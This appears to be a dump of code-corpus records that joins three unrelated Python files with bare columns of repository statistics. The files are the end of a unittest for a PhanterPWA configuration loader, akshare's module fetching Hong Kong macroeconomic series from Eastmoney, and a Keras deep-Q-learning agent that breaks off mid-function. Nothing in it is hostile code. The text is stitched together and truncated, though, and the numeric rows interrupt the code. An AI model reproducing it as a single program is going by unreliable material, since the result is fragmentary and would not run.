self.assertTrue(os.path.isfile(os.path.join(path_dir, "config.json")))
self.assertTrue(os.path.isfile(os.path.join(path_dir, "backapps", "api", "app.ini")))
self.assertTrue(os.path.isfile(os.path.join(path_dir, "project.ini")))
# file
self.assertEqual(
cfg.file,
os.path.join(path_dir, "config.json")
)
# config
string_cfg = json.dumps(cfg.config, ensure_ascii=False, indent=2)
print(string_cfg)
s_cfg = interpolate(sample_cfg, {
"pyenv": ENV_PYTHON.replace("\\", "\\\\"),
"pypath": os.path.dirname(ENV_PYTHON).replace("\\", "\\\\"),
"projectpath": path_dir.replace("\\", "\\\\"),
"app01": os.path.join(path_dir, "frontapps", "app01", "www").replace("\\", "\\\\"),
"app02": os.path.join(path_dir, "frontapps", "app02", "www").replace("\\", "\\\\")
})
self.assertEqual(
string_cfg,
s_cfg
)
# inis
self.assertTrue(isinstance(cfg.backend_ini["api"], configparser.ConfigParser))
self.assertTrue(isinstance(cfg.project_ini, configparser.ConfigParser))
self.assertTrue(isinstance(cfg.project_secret_ini, configparser.ConfigParser))
self.assertTrue(isinstance(cfg.frontend_ini["app01"], configparser.ConfigParser))
self.assertTrue(isinstance(cfg.frontend_ini["app02"], configparser.ConfigParser))
# save
self.assertEqual(
cfg['PROJECT']['title'],
"PhanterPWA"
)
cfg['PROJECT']['title'] = 'PhanterPWA2'
cfg.save()
with open(os.path.join(path_dir, "config.json"), encoding="utf-8") as f:
content = json.load(f)
content
self.assertEqual(
content['PROJECT']['title'],
"PhanterPWA2"
)
# def test1(self):
# path_dir = os.path.join(CURRENT_DIR, 'test_configer_path', 'project_without_ini')
# if os.path.isfile(os.path.join(path_dir, "project.ini")):
# os.remove(os.path.join(path_dir, "project.ini"))
# if os.path.isfile(os.path.join(path_dir, "api", "api.ini")):
# os.remove(os.path.join(path_dir, "api", "api.ini"))
# ProjectConfig(path_dir)
# self.assertTrue(os.path.isfile(os.path.join(path_dir, "config.json")))
# self.assertTrue(os.path.isfile(os.path.join(path_dir, "api", "api.ini")))
# self.assertTrue(os.path.isfile(os.path.join(path_dir, "project.ini")))
# with open(os.path.join(path_dir, "api", "api.ini"), "r", encoding="utf-8") as f:
# apicontent = f.read()
# self.assertEqual(apicontent, api_sample)
# with open(os.path.join(path_dir, "project.ini"), "r", encoding="utf-8") as f:
# projectcontent = f.read()
# self.assertEqual(projectcontent, project_sample2)
# def test2(self):
# path_dir = os.path.join(CURRENT_DIR, 'test_configer_path', 'project_without_confgjson_and_with_ini')
# if os.path.isfile(os.path.join(path_dir, "config.json")):
# os.remove(os.path.join(path_dir, "config.json"))
# with open(os.path.join(path_dir, "project.ini"), 'w', encoding='utf-8') as f:
# f.write(project_sample2)
# cfg = ProjectConfig(path_dir)
# self.assertTrue(os.path.isfile(os.path.join(path_dir, "config.json")))
# self.assertTrue(os.path.isfile(os.path.join(path_dir, "api", "api.ini")))
# self.assertTrue(os.path.isfile(os.path.join(path_dir, "project.ini")))
# self.assertEqual(cfg['PROJECT']['title'], 'PhanterPWA')
# self.assertEqual(cfg.project_ini['PROJECT']['title'], 'PhanterPWA')
# cfg['PROJECT']['title'] = "CHANGED"
# cfg.save()
# with open(os.path.join(path_dir, "config.json"), "r", encoding="utf-8") as f:
# cfgcontent = json.load(f)
# cfgcontent = json.dumps(cfgcontent, ensure_ascii=False, indent=4)
# s_cfg = interpolate(sample_cfg2, {
# "pyenv": ENV_PYTHON.replace("\\", "\\\\"),
# "pypath": os.path.dirname(ENV_PYTHON).replace("\\", "\\\\"),
# "projectpath": path_dir.replace("\\", "\\\\"),
# "app01": os.path.join(path_dir, "frontapps", "app01", "www").replace("\\", "\\\\"),
# "app02": os.path.join(path_dir, "frontapps", "app02", "www").replace("\\", "\\\\")
# })
# self.assertEqual(cfgcontent, s_cfg)
# with open(os.path.join(path_dir, "api", "api.ini"), "r", encoding="utf-8") as f:
# apicontent = f.read()
# self.assertEqual(apicontent, api_sample)
# with open(os.path.join(path_dir, "project.ini"), "r", encoding="utf-8") as f:
# projectcontent = f.read()
# self.assertEqual(projectcontent, project_sample)
if __name__ == '__main__':
unittest.main()
| 36.870091
| 113
| 0.618895
| 1,451
| 12,204
| 4.951757
| 0.141282
| 0.048434
| 0.051496
| 0.064301
| 0.840084
| 0.834934
| 0.78302
| 0.751427
| 0.728323
| 0.718859
| 0
| 0.042809
| 0.217142
| 12,204
| 330
| 114
| 36.981818
| 0.709022
| 0.235497
| 0
| 0.488281
| 0
| 0
| 0.701024
| 0.225876
| 0
| 0
| 0
| 0
| 0.046875
| 1
| 0.003906
| false
| 0.027344
| 0.03125
| 0
| 0.039063
| 0.007813
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
8e6153ad81ca1eddd5ec9f8233e5625ab94f6fe1
| 10,701
|
py
|
Python
|
akshare/economic/macro_china_hk.py
|
J-Z-Z/akshare
|
0a9ca71b381a272e2f56211e455ff2493dfed17a
|
[
"MIT"
] | 721
|
2021-09-21T12:10:33.000Z
|
2022-03-31T09:47:01.000Z
|
akshare/economic/macro_china_hk.py
|
J-Z-Z/akshare
|
0a9ca71b381a272e2f56211e455ff2493dfed17a
|
[
"MIT"
] | 135
|
2021-09-21T12:07:54.000Z
|
2022-03-31T14:15:36.000Z
|
akshare/economic/macro_china_hk.py
|
J-Z-Z/akshare
|
0a9ca71b381a272e2f56211e455ff2493dfed17a
|
[
"MIT"
] | 234
|
2021-09-21T12:16:27.000Z
|
2022-03-31T09:47:04.000Z
|
#!/usr/bin/env python
# -*- coding:utf-8 -*-
"""
Date: 2021/12/6 15:21
Desc: 中国-香港-宏观指标
https://data.eastmoney.com/cjsj/foreign_8_0.html
"""
import pandas as pd
import requests
from akshare.utils import demjson
def macro_china_hk_cpi() -> pd.DataFrame:
"""
东方财富-经济数据一览-中国香港-消费者物价指数
https://data.eastmoney.com/cjsj/foreign_8_0.html
:return: 消费者物价指数
:rtype: pandas.DataFrame
"""
url = "https://datainterface.eastmoney.com/EM_DataCenter/JS.aspx"
params = {
"type": "GJZB",
"sty": "HKZB",
"js": "({data:[(x)],pages:(pc)})",
"p": "1",
"ps": "2000",
"mkt": "8",
"stat": "0",
"pageNo": "1",
"pageNum": "1",
"_": "1621332091873",
}
r = requests.get(url, params=params)
data_text = r.text
data_json = demjson.decode(data_text[1:-1])
temp_df = pd.DataFrame([item.split(",") for item in data_json["data"]])
temp_df.columns = [
"时间",
"前值",
"现值",
"发布日期",
]
temp_df['前值'] = pd.to_numeric(temp_df['前值'])
temp_df['现值'] = pd.to_numeric(temp_df['现值'])
temp_df['时间'] = pd.to_datetime(temp_df['时间']).dt.date
temp_df['发布日期'] = pd.to_datetime(temp_df['发布日期']).dt.date
return temp_df
def macro_china_hk_cpi_ratio() -> pd.DataFrame:
"""
东方财富-经济数据一览-中国香港-消费者物价指数年率
https://data.eastmoney.com/cjsj/foreign_8_1.html
:return: 消费者物价指数年率
:rtype: pandas.DataFrame
"""
url = "https://datainterface.eastmoney.com/EM_DataCenter/JS.aspx"
params = {
"type": "GJZB",
"sty": "HKZB",
"js": "({data:[(x)],pages:(pc)})",
"p": "1",
"ps": "2000",
"mkt": "8",
"stat": "1",
"pageNo": "1",
"pageNum": "1",
"_": "1621332091873",
}
r = requests.get(url, params=params)
data_text = r.text
data_json = demjson.decode(data_text[1:-1])
temp_df = pd.DataFrame([item.split(",") for item in data_json["data"]])
temp_df.columns = [
"时间",
"前值",
"现值",
"发布日期",
]
temp_df['前值'] = pd.to_numeric(temp_df['前值'])
temp_df['现值'] = pd.to_numeric(temp_df['现值'])
temp_df['时间'] = pd.to_datetime(temp_df['时间']).dt.date
temp_df['发布日期'] = pd.to_datetime(temp_df['发布日期']).dt.date
return temp_df
def macro_china_hk_rate_of_unemployment() -> pd.DataFrame:
"""
东方财富-经济数据一览-中国香港-失业率
https://data.eastmoney.com/cjsj/foreign_8_2.html
:return: 失业率
:rtype: pandas.DataFrame
"""
url = "https://datainterface.eastmoney.com/EM_DataCenter/JS.aspx"
params = {
"type": "GJZB",
"sty": "HKZB",
"js": "({data:[(x)],pages:(pc)})",
"p": "1",
"ps": "2000",
"mkt": "8",
"stat": "2",
"pageNo": "1",
"pageNum": "1",
"_": "1621332091873",
}
r = requests.get(url, params=params)
data_text = r.text
data_json = demjson.decode(data_text[1:-1])
temp_df = pd.DataFrame([item.split(",") for item in data_json["data"]])
temp_df.columns = [
"时间",
"前值",
"现值",
"发布日期",
]
temp_df['前值'] = pd.to_numeric(temp_df['前值'])
temp_df['现值'] = pd.to_numeric(temp_df['现值'])
temp_df['时间'] = pd.to_datetime(temp_df['时间']).dt.date
temp_df['发布日期'] = pd.to_datetime(temp_df['发布日期']).dt.date
return temp_df
def macro_china_hk_gbp() -> pd.DataFrame:
"""
东方财富-经济数据一览-中国香港-香港 GDP
https://data.eastmoney.com/cjsj/foreign_8_3.html
:return: 香港 GDP
:rtype: pandas.DataFrame
"""
url = "https://datainterface.eastmoney.com/EM_DataCenter/JS.aspx"
params = {
"type": "GJZB",
"sty": "HKZB",
"js": "({data:[(x)],pages:(pc)})",
"p": "1",
"ps": "2000",
"mkt": "8",
"stat": "3",
"pageNo": "1",
"pageNum": "1",
"_": "1621332091873",
}
r = requests.get(url, params=params)
data_text = r.text
data_json = demjson.decode(data_text[1:-1])
temp_df = pd.DataFrame([item.split(",") for item in data_json["data"]])
temp_df.columns = [
"时间",
"前值",
"现值",
"发布日期",
]
temp_df['前值'] = pd.to_numeric(temp_df['前值']) / 100
temp_df['现值'] = pd.to_numeric(temp_df['现值']) / 100
temp_df['时间'] = pd.to_datetime(temp_df['时间']).dt.date
temp_df['发布日期'] = pd.to_datetime(temp_df['发布日期']).dt.date
return temp_df
def macro_china_hk_gbp_ratio() -> pd.DataFrame:
"""
东方财富-经济数据一览-中国香港-香港 GDP 同比
https://data.eastmoney.com/cjsj/foreign_8_4.html
:return: 香港 GDP 同比
:rtype: pandas.DataFrame
"""
url = "https://datainterface.eastmoney.com/EM_DataCenter/JS.aspx"
params = {
"type": "GJZB",
"sty": "HKZB",
"js": "({data:[(x)],pages:(pc)})",
"p": "1",
"ps": "2000",
"mkt": "8",
"stat": "4",
"pageNo": "1",
"pageNum": "1",
"_": "1621332091873",
}
r = requests.get(url, params=params)
data_text = r.text
data_json = demjson.decode(data_text[1:-1])
temp_df = pd.DataFrame([item.split(",") for item in data_json["data"]])
temp_df.columns = [
"时间",
"前值",
"现值",
"发布日期",
]
temp_df['前值'] = pd.to_numeric(temp_df['前值'])
temp_df['现值'] = pd.to_numeric(temp_df['现值'])
temp_df['时间'] = pd.to_datetime(temp_df['时间']).dt.date
temp_df['发布日期'] = pd.to_datetime(temp_df['发布日期']).dt.date
return temp_df
def macro_china_hk_building_volume() -> pd.DataFrame:
"""
东方财富-经济数据一览-中国香港-香港楼宇买卖合约数量
https://data.eastmoney.com/cjsj/foreign_8_5.html
:return: 香港楼宇买卖合约数量
:rtype: pandas.DataFrame
"""
url = "https://datainterface.eastmoney.com/EM_DataCenter/JS.aspx"
params = {
"type": "GJZB",
"sty": "HKZB",
"js": "({data:[(x)],pages:(pc)})",
"p": "1",
"ps": "2000",
"mkt": "8",
"stat": "5",
"pageNo": "1",
"pageNum": "1",
"_": "1621332091873",
}
r = requests.get(url, params=params)
data_text = r.text
data_json = demjson.decode(data_text[1:-1])
temp_df = pd.DataFrame([item.split(",") for item in data_json["data"]])
temp_df.columns = [
"时间",
"前值",
"现值",
"发布日期",
]
temp_df['前值'] = pd.to_numeric(temp_df['前值'])
temp_df['现值'] = pd.to_numeric(temp_df['现值'])
temp_df['时间'] = pd.to_datetime(temp_df['时间']).dt.date
temp_df['发布日期'] = pd.to_datetime(temp_df['发布日期']).dt.date
return temp_df
def macro_china_hk_building_amount() -> pd.DataFrame:
"""
东方财富-经济数据一览-中国香港-香港楼宇买卖合约成交金额
https://data.eastmoney.com/cjsj/foreign_8_6.html
:return: 香港楼宇买卖合约成交金额
:rtype: pandas.DataFrame
"""
url = "https://datainterface.eastmoney.com/EM_DataCenter/JS.aspx"
params = {
"type": "GJZB",
"sty": "HKZB",
"js": "({data:[(x)],pages:(pc)})",
"p": "1",
"ps": "2000",
"mkt": "8",
"stat": "6",
"pageNo": "1",
"pageNum": "1",
"_": "1621332091873",
}
r = requests.get(url, params=params)
data_text = r.text
data_json = demjson.decode(data_text[1:-1])
temp_df = pd.DataFrame([item.split(",") for item in data_json["data"]])
temp_df.columns = [
"时间",
"前值",
"现值",
"发布日期",
]
temp_df['前值'] = pd.to_numeric(temp_df['前值']) / 100
temp_df['现值'] = pd.to_numeric(temp_df['现值']) / 100
temp_df['时间'] = pd.to_datetime(temp_df['时间']).dt.date
temp_df['发布日期'] = pd.to_datetime(temp_df['发布日期']).dt.date
return temp_df
def macro_china_hk_trade_diff_ratio() -> pd.DataFrame:
"""
东方财富-经济数据一览-中国香港-香港商品贸易差额年率
https://data.eastmoney.com/cjsj/foreign_8_7.html
:return: 香港商品贸易差额年率
:rtype: pandas.DataFrame
"""
url = "https://datainterface.eastmoney.com/EM_DataCenter/JS.aspx"
params = {
"type": "GJZB",
"sty": "HKZB",
"js": "({data:[(x)],pages:(pc)})",
"p": "1",
"ps": "2000",
"mkt": "8",
"stat": "7",
"pageNo": "1",
"pageNum": "1",
"_": "1621332091873",
}
r = requests.get(url, params=params)
data_text = r.text
data_json = demjson.decode(data_text[1:-1])
temp_df = pd.DataFrame([item.split(",") for item in data_json["data"]])
temp_df.columns = [
"时间",
"前值",
"现值",
"发布日期",
]
temp_df['前值'] = pd.to_numeric(temp_df['前值'])
temp_df['现值'] = pd.to_numeric(temp_df['现值'])
temp_df['时间'] = pd.to_datetime(temp_df['时间']).dt.date
temp_df['发布日期'] = pd.to_datetime(temp_df['发布日期']).dt.date
return temp_df
def macro_china_hk_ppi() -> pd.DataFrame:
"""
东方财富-经济数据一览-中国香港-香港制造业 PPI 年率
https://data.eastmoney.com/cjsj/foreign_8_8.html
:return: 香港制造业 PPI 年率
:rtype: pandas.DataFrame
"""
url = "https://datainterface.eastmoney.com/EM_DataCenter/JS.aspx"
params = {
"type": "GJZB",
"sty": "HKZB",
"js": "({data:[(x)],pages:(pc)})",
"p": "1",
"ps": "2000",
"mkt": "8",
"stat": "8",
"pageNo": "1",
"pageNum": "1",
"_": "1621332091873",
}
r = requests.get(url, params=params)
data_text = r.text
data_json = demjson.decode(data_text[1:-1])
temp_df = pd.DataFrame([item.split(",") for item in data_json["data"]])
temp_df.columns = [
"时间",
"前值",
"现值",
"发布日期",
]
temp_df['前值'] = pd.to_numeric(temp_df['前值'])
temp_df['现值'] = pd.to_numeric(temp_df['现值'])
temp_df['时间'] = pd.to_datetime(temp_df['时间']).dt.date
temp_df['发布日期'] = pd.to_datetime(temp_df['发布日期']).dt.date
return temp_df
if __name__ == "__main__":
macro_china_hk_cpi_df = macro_china_hk_cpi()
print(macro_china_hk_cpi_df)
macro_china_hk_cpi_ratio_df = macro_china_hk_cpi_ratio()
print(macro_china_hk_cpi_ratio_df)
macro_china_hk_rate_of_unemployment_df = macro_china_hk_rate_of_unemployment()
print(macro_china_hk_rate_of_unemployment_df)
macro_china_hk_gbp_df = macro_china_hk_gbp()
print(macro_china_hk_gbp_df)
macro_china_hk_gbp_ratio_df = macro_china_hk_gbp_ratio()
print(macro_china_hk_gbp_ratio_df)
marco_china_hk_building_volume_df = macro_china_hk_building_volume()
print(marco_china_hk_building_volume_df)
macro_china_hk_building_amount_df = macro_china_hk_building_amount()
print(macro_china_hk_building_amount_df)
macro_china_hk_trade_diff_ratio_df = macro_china_hk_trade_diff_ratio()
print(macro_china_hk_trade_diff_ratio_df)
macro_china_hk_ppi_df = macro_china_hk_ppi()
print(macro_china_hk_ppi_df)
| 28.612299
| 82
| 0.566583
| 1,454
| 10,701
| 3.911967
| 0.082531
| 0.10443
| 0.07173
| 0.047468
| 0.932665
| 0.892932
| 0.864276
| 0.801688
| 0.801688
| 0.752286
| 0
| 0.032146
| 0.244183
| 10,701
| 373
| 83
| 28.689008
| 0.671118
| 0.112419
| 0
| 0.795053
| 0
| 0
| 0.176076
| 0.024335
| 0
| 0
| 0
| 0
| 0
| 1
| 0.031802
| false
| 0
| 0.010601
| 0
| 0.074205
| 0.031802
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d908def01459530d2659ccd85dc7c4ddcd6ebfa5
| 34,012
|
py
|
Python
|
Code/BehaviouralModels/DRL.py
|
Gronne/Individual-Optimization-Based-on-Group-Information-Sharing
|
ac309de1687baa73706a7279d7b1d9e29a88b9fa
|
[
"MIT"
] | null | null | null |
Code/BehaviouralModels/DRL.py
|
Gronne/Individual-Optimization-Based-on-Group-Information-Sharing
|
ac309de1687baa73706a7279d7b1d9e29a88b9fa
|
[
"MIT"
] | null | null | null |
Code/BehaviouralModels/DRL.py
|
Gronne/Individual-Optimization-Based-on-Group-Information-Sharing
|
ac309de1687baa73706a7279d7b1d9e29a88b9fa
|
[
"MIT"
] | null | null | null |
import random
import numpy as np
import math
from collections import deque
import time
import os
from tensorflow.keras import models
from tensorflow.keras import layers
from tensorflow.keras import optimizers
from tensorflow.keras import callbacks
import tensorflow
from Simulations.GameFeatures import GameFeatures as GF
from BehaviouralModels.BehaviouralModels import BehaviouralModelInterface
MODEL_NAME = "IndiDQR_1024x2"
MIN_REPLAY_MEMORY_SIZE = 2048
MAX_REPLAY_MEMORY_SIZE = 50_000
MINIBATCH_SIZE = 2048 #Affect how many states it will use to fit
DISCOUNT = 0.99
UPDATE_TARGET_EVERY = 16
MAP_HEIGHT = 14
MAP_WIDTH = 14
class CustomCallback(callbacks.Callback):
def on_epoch_end(self, epoch, logs=None):
return
print("Loss: {:7.2f}".format(logs["loss"]))
print("Accuracy: {:7.2f}".format(logs["accuracy"]))
class IndiDRL(BehaviouralModelInterface):
def __init__(self, goals, initial_game_state, feasible_actions, model_addr, results_addr):
super().__init__(goals, initial_game_state, feasible_actions, results_addr)
self._model_addr = model_addr
self._create_directory(self._model_addr)
self._create_model_directory(self._model_addr)
self._mode = None
self._previous_state = None
self._previous_prediction = None
self._previous_score = 0
self._previous_action = None
self._turn_count = 0
if self._get_file_size(self._model_addr + ".txt"):
#Load
self._main_model, self._current_model, self._epsilon = self._load_model()
else:
#Create
#Main model - Get trained every step
self._main_model = self._build_model_conv(initial_game_state, feasible_actions)
#Target model - This is what we predict against every step
self._current_model = self._build_model_conv(initial_game_state, feasible_actions)
self._current_model.set_weights(self._main_model.get_weights())
#Set epsilon
self._epsilon = 1
self._epsilon_decay = 0.99925 #0.99975 before
self._episodes = 6000
self._episode_epsilon = self._epsilon_decay**self._episodes
if self._epsilon < self._episode_epsilon:
self._epsilon = 0
self._target_update_counter = 0
#Ensures that multiple steps can be fitted at once, so it does not overfit to a single one
self._replay_memory = deque(maxlen=MAX_REPLAY_MEMORY_SIZE)
def _create_model_directory(self, addr):
try:
main_dir = addr + "_main_model/"
current_dir = addr + "_current_model/"
os.makedirs(main_dir)
os.makedirs(current_dir)
except FileExistsError:
pass
def get_epsilon(self):
return self._epsilon
def _load_model(self):
print("#####LOAD MODEL#####")
main_model = models.load_model(self._model_addr + "_main_model")
current_model = models.load_model(self._model_addr + "_current_model")
epsilon = None
with open(self._model_addr + ".txt") as model_file:
for line in model_file:
epsilon = float(line)
return main_model, current_model, epsilon
def save_model(self):
self._main_model.save(self._model_addr + "_main_model")
self._current_model.save(self._model_addr + "_current_model")
with open(self._model_addr + ".txt", "w") as file:
file.write(str(self._epsilon))
def _build_model(self, game_state, feasible_actions):
first_layer_size = (len(game_state)) + len(game_state[-1])*3*3 #3 colors in our layers at X pixels + extra info
#Should probably use cnn...
model = models.Sequential()
model.add(tensorflow.keras.Input(shape=(first_layer_size,), name="digits")) #Input layer
model.add(layers.Dense(1024, activation='relu')) #Hidden layer
model.add(layers.Dense(1024, activation='relu')) #Hidden layer
model.add(layers.Dense(len(feasible_actions), activation='linear')) #Output layer
opt = optimizers.Adam(learning_rate=0.0001, decay=1e-6)
model.compile(loss="mse",
optimizer=opt,
metrics=['accuracy'])
return model
def _build_model_conv(self, game_state, feasible_actions):
inputA = tensorflow.keras.Input(shape=((len(game_state)-2),)) #User info
inputB_1 = tensorflow.keras.Input(shape=(len(game_state[-1]), len(game_state[-1][0]), 3)) #Map data - first layer
inputB_2 = tensorflow.keras.Input(shape=(len(game_state[-1]), len(game_state[-1][0]), 3)) #Map data - second layer
inputB_3 = tensorflow.keras.Input(shape=(len(game_state[-1]), len(game_state[-1][0]), 3)) #Map data - third layer
#-------- InputB_1 --------
#branchB_1 = layers.Conv2D(64, (3, 3), activation = 'relu')(inputB_1) #Convolutional Hidden Layer
#branchB_1 = layers.MaxPooling2D(pool_size=(2, 2))(branchB_1)
#branchB_1 = layers.Dropout(0.2)(branchB_1)
branchB_1 = layers.Conv2D(128, (3, 3), activation = 'relu')(inputB_1) #Convolutional Hidden Layer
branchB_1 = layers.MaxPooling2D(pool_size=(2, 2))(branchB_1)
branchB_1 = layers.Dropout(0.2)(branchB_1)
branchB_1 = layers.Flatten()(branchB_1)
modelB_1 = models.Model(inputs=inputB_1, outputs=branchB_1)
#-------- InputB_2 --------
#branchB_2 = layers.Conv2D(64, (3, 3), activation = 'relu')(inputB_2) #Convolutional Hidden Layer
#branchB_2 = layers.MaxPooling2D(pool_size=(2, 2))(branchB_2)
#branchB_2 = layers.Dropout(0.2)(branchB_2)
branchB_2 = layers.Conv2D(128, (3, 3), activation = 'relu')(inputB_2) #Convolutional Hidden Layer
branchB_2 = layers.MaxPooling2D(pool_size=(2, 2))(branchB_2)
branchB_2 = layers.Dropout(0.2)(branchB_2)
branchB_2 = layers.Flatten()(branchB_2)
modelB_2 = models.Model(inputs=inputB_2, outputs=branchB_2)
#-------- InputB_3 --------
#branchB_3 = layers.Conv2D(64, (3, 3), activation = 'relu')(inputB_3) #Convolutional Hidden Layer
#branchB_3 = layers.MaxPooling2D(pool_size=(2, 2))(branchB_3)
#branchB_3 = layers.Dropout(0.2)(branchB_3)
branchB_3 = layers.Conv2D(128, (3, 3), activation = 'relu')(inputB_3) #Convolutional Hidden Layer
branchB_3 = layers.MaxPooling2D(pool_size=(2, 2))(branchB_3)
branchB_3 = layers.Dropout(0.2)(branchB_3)
branchB_3 = layers.Flatten()(branchB_3)
modelB_3 = models.Model(inputs=inputB_3, outputs=branchB_3)
#------- Combine -------
branchC = layers.concatenate([inputA, modelB_1.output, modelB_2.output, modelB_3.output])
branchC = layers.Dense(256, activation='relu')(branchC)
branchC = layers.Dense(256, activation='relu')(branchC)
output = layers.Dense(len(feasible_actions), activation='linear')(branchC) #Output layer
model = models.Model(inputs=[inputA, modelB_1.input, modelB_2.input, modelB_3.input], outputs = output)
opt = optimizers.Adam(learning_rate=1e-3)
model.compile(loss="mse",
optimizer=opt,
metrics=['accuracy'])
#tensorflow.keras.utils.plot_model(model, "multi_input_and_output_model.png", show_shapes=True)
return model
def _custom_loss_function(self, score_true, score_expected):
custom_loss = []
for index, _ in enumerate(score_true):
custom_loss += [math.sqrt((score_true[index]-score_expected[index])**2)]
return np.asarray([custom_loss])
def _update_replay_memory(self, transition):
self._replay_memory.append(transition)
def _get_qs(self, state, step): #Probably not gonna be used
current_state = self._game_to_model_state(state)
prediction = self._main_model.predict(current_state)[0]
return prediction
def _train(self, terminal_state, step):
if len(self._replay_memory) < MIN_REPLAY_MEMORY_SIZE or self._turn_count % 1000 != 0:
return
minibatch = random.sample(self._replay_memory, MINIBATCH_SIZE)
current_state = self._get_current_state(minibatch)
current_qs_list = self._main_model.predict(current_state)
future_state = self._get_future_state(minibatch)
future_qs_list = self._current_model.predict(future_state)
X_info = []
X_l1 = []
X_l2 = []
X_l3 = []
y = []
for index, (current_state, action, reward, new_current_state, done, life_changer) in enumerate(minibatch):
if done:
new_q = -10 #reward
elif life_changer:
new_q = reward
else:
max_future_q = np.max(future_qs_list[index])
new_q = reward + DISCOUNT * max_future_q #The discount is to represent that moves more in the past will have less of an effect on the current result?
current_qs = current_qs_list[index]
current_qs[action] = new_q
self._append_to_input_output_matrices(X_info, X_l1, X_l2, X_l3, y, current_state, current_qs)
X_info_np = self._transform_info_to_np_structure(X_info)
X_l1_np = self._transform_X_to_np_structure(X_l1)
X_l2_np = self._transform_X_to_np_structure(X_l2)
X_l3_np = self._transform_X_to_np_structure(X_l3)
history = self._main_model.fit([X_info_np, X_l1_np, X_l2_np, X_l3_np], np.array(y), batch_size = MINIBATCH_SIZE, verbose = 0, shuffle=False, callbacks=[CustomCallback()] if terminal_state or step%10 == 1 else None) #Only call callback if terminal staste
#Updating to determine if we want to update target_model yet
if terminal_state:
self._target_update_counter += 1
if self._target_update_counter > UPDATE_TARGET_EVERY:
self._target_update_counter = 0
self._current_model.set_weights(self._main_model.get_weights())
def _append_to_input_output_matrices(self, X0, X1, X2, X3, y, state, qs):
X0 += [state[0]] #Previous state
X1 += [state[1]]
X2 += [state[2]]
X3 += [state[3]]
y += [qs] #The score it should have let to
def _transform_info_to_np_structure(self, X_info):
X_info_np = np.array(X_info)
X_info_np = X_info_np.reshape(X_info_np.shape[0], X_info_np.shape[2])
return X_info_np
def _transform_X_to_np_structure(self, X):
X_np = np.array(X)
X_np = X_np.reshape(X_np.shape[0], X_np.shape[2], X_np.shape[3], X_np.shape[4])
return X_np
def _get_current_state(self, minibatch):
current_states_0 = np.array([transition[0][0] for transition in minibatch])
current_states_0 = current_states_0.reshape(current_states_0.shape[0], current_states_0.shape[2])
current_states_1 = np.array([transition[0][1] for transition in minibatch])
current_states_1 = current_states_1.reshape(current_states_1.shape[0], current_states_1.shape[2], current_states_1.shape[3], current_states_1.shape[4])
current_states_2 = np.array([transition[0][2] for transition in minibatch])
current_states_2 = current_states_2.reshape(current_states_2.shape[0], current_states_2.shape[2], current_states_2.shape[3], current_states_2.shape[4])
current_states_3 = np.array([transition[0][3] for transition in minibatch])
current_states_3 = current_states_3.reshape(current_states_3.shape[0], current_states_3.shape[2], current_states_3.shape[3], current_states_3.shape[4])
return [current_states_0, current_states_1, current_states_2, current_states_3]
def _get_future_state(self, minibatch):
new_current_state_0 = np.array([transition[3][0] for transition in minibatch])
new_current_state_0 = new_current_state_0.reshape(new_current_state_0.shape[0], new_current_state_0.shape[2])
new_current_state_1 = np.array([transition[3][1] for transition in minibatch])
new_current_state_1 = new_current_state_1.reshape(new_current_state_1.shape[0], new_current_state_1.shape[2], new_current_state_1.shape[3], new_current_state_1.shape[4])
new_current_state_2 = np.array([transition[3][2] for transition in minibatch])
new_current_state_2 = new_current_state_2.reshape(new_current_state_2.shape[0], new_current_state_2.shape[2], new_current_state_2.shape[3], new_current_state_2.shape[4])
new_current_state_3 = np.array([transition[3][3] for transition in minibatch])
new_current_state_3 = new_current_state_3.reshape(new_current_state_3.shape[0], new_current_state_3.shape[2], new_current_state_3.shape[3], new_current_state_3.shape[4])
return [new_current_state_0, new_current_state_1, new_current_state_2, new_current_state_3]
def action(self, game_state, train_flag = True):
self._turn_count += 1
model_state = self._game_to_model_state(game_state)
if train_flag:
score = self._calculate_score(game_state[0], game_state[2], game_state[3]) - self._previous_score #Reward - Use reqard difference instead
self._previous_score = self._calculate_score(game_state[0], game_state[2], game_state[3])
if self._epsilon > self._episode_epsilon and self._epsilon != 0:
if self._turn_count % 100 == 0:
print(f"Train: {train_flag}, steps: {self._turn_count}, life: {game_state[1]}, points: {game_state[2]}, score: {self._previous_score}, Name: {self._model_addr}")
if self._turn_count % 500 == 0:
self._epsilon *= self._epsilon_decay
print(f"Epsilon: {self._epsilon}, Name: {self._model_addr}")
if isinstance(self._previous_state, list):
terminal_state = game_state[0] == 0 or model_state[0][0][0] != self._previous_state[0][0][0] or model_state[0][0][1] != self._previous_state[0][0][1] #If dead, different health, or different points
self._update_replay_memory((self._previous_state, self._previous_action, score, model_state, game_state[0] == 0, terminal_state)) #Previous state, action taken, score it got, new state it let to, and if it is done (never)
self._train(terminal_state , game_state[0])
else:
if self._turn_count % 100 == 0:
print(f"Train: {train_flag}, steps: {self._turn_count}, life: {game_state[1]}, points: {game_state[2]}, score: {self._previous_score}, Name: {self._model_addr}")
elif not self._turn_count % 100:
print(f"Train: {train_flag}, steps: {self._turn_count}, life: {game_state[1]}, points: {game_state[2]}, score: {self._previous_score}, Name: {self._model_addr}")
action = self._calculate_action(model_state, 0 if not train_flag or self._epsilon < self._episode_epsilon else self._epsilon)
return action
def _calculate_action(self, current_state, epsilon):
prediction = self._main_model.predict(current_state)
action_index = self._choose_action_from_prediction(prediction, epsilon)
self._previous_state = current_state
self._previous_prediction = prediction
self._previous_action = action_index
return self._feasible_actions[action_index]
def _game_to_model_state(self, game_state):
steps = game_state[0] #Should this be normalized?
life = game_state[1]/100 #Normalize
points = game_state[2] #Should this be normalized?
player_coor = (game_state[3][0]/len(game_state[-1][0]), game_state[3][1]/len(game_state[-1])) #Normalize
model_state_attr = [life, player_coor[0], player_coor[1]]
image_shape = (len(game_state[-1]), len(game_state[-1][0]), len(game_state[-1][0][0][0]))
np_model_state_attr = np.array(model_state_attr).reshape(-1, len(model_state_attr))
np_map = np.array(game_state[-1])
